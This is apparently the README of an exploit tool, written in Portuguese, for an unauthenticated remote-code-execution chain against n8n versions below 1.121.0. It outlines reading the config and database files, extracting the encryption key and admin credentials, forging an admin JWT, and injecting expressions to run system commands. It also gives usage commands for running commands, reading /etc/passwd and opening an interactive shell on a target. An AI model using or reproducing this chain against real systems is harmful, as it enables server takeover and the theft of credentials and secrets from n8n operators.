CVE-2026-21858 + CVE-2025-68613 - Exploit RCE no n8n

Cadeia de RCE não autenticada para n8n < 1.121.0 (CVSS 10.0)

Cadeia de Ataque

1. CVE-2026-21858 - Confusão de Content-Type → ler /home/node/.n8n/config e database.sqlite
2. Extrair chave de criptografia e credenciais de administrador dos arquivos
3. Forjar token JWT de administrador
4. CVE-2025-68613 - Injeção de expressão → executar comandos via child_process

Uso

# Executar comando
python3 exploit.py http://target:5678 /form/test --cmd "id"

# Ler arquivo
python3 exploit.py http://target:5678 /form/test --read /etc/passwd

# Shell interativo
python3 exploit.py http://target:5678 /form/test

Requisitos